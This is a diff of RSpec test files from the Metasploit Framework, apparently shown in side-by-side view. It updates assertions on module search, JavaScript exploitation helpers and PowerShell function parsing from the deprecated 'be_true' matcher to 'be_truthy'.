@ -1191,7 +1191,7 @@ describe Msf::DBManager do
module_detail.refs.any? { |module_ref| module_detail.refs.any? { |module_ref|
module_ref.name == search_string module_ref.name == search_string
} }
}.should be_true }.should be_truthy
end end
end end
@ -1211,7 +1211,7 @@ describe Msf::DBManager do
module_detail.targets.any? { |module_target| module_detail.targets.any? { |module_target|
module_target.name == search_string module_target.name == search_string
} }
}.should be_true }.should be_truthy
end end
end end
end end
@ -1775,7 +1775,7 @@ describe Msf::DBManager do
# @todo determine how to load a single payload to test payload type outside of msfconsole # @todo determine how to load a single payload to test payload type outside of msfconsole
it_should_behave_like 'Msf::DBManager#update_module_details with module', it_should_behave_like 'Msf::DBManager#update_module_details with module',
:reference_name => 'windows/escalate/screen_unlock', :reference_name => 'windows/escalate/screen_unlock',
:type => 'post' :type => 'post'
end end

View File

@ -27,4 +27,4 @@ describe Rex::Exploitation::Js::Detect do
end end
end end

View File

@ -27,4 +27,4 @@ describe Rex::Exploitation::Js::Memory do
end end
end end

View File

@ -13,4 +13,4 @@ describe Rex::Exploitation::Js::Utils do
end end
end end

View File

@ -62,16 +62,16 @@ describe Rex::Exploitation::Powershell::Function do
function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_without_params) function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_without_params)
function.name.should eq function_name function.name.should eq function_name
function.code.should eq example_function_without_params function.code.should eq example_function_without_params
function.to_s.include?("function #{function_name} #{example_function_without_params}").should be_true function.to_s.include?("function #{function_name} #{example_function_without_params}").should be_truthy
function.params.should be_kind_of Array function.params.should be_kind_of Array
function.params.empty?.should be_true function.params.empty?.should be_truthy
end end
it 'should handle a function with params' do it 'should handle a function with params' do
function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_with_params) function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_with_params)
function.name.should eq function_name function.name.should eq function_name
function.code.should eq example_function_with_params function.code.should eq example_function_with_params
function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_true function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_truthy
function.params.should be_kind_of Array function.params.should be_kind_of Array
function.params.length.should be == 5 function.params.length.should be == 5
function.params[0].klass.should eq 'Type[]' function.params[0].klass.should eq 'Type[]'

Some files were not shown because too many files have changed in this diff Show More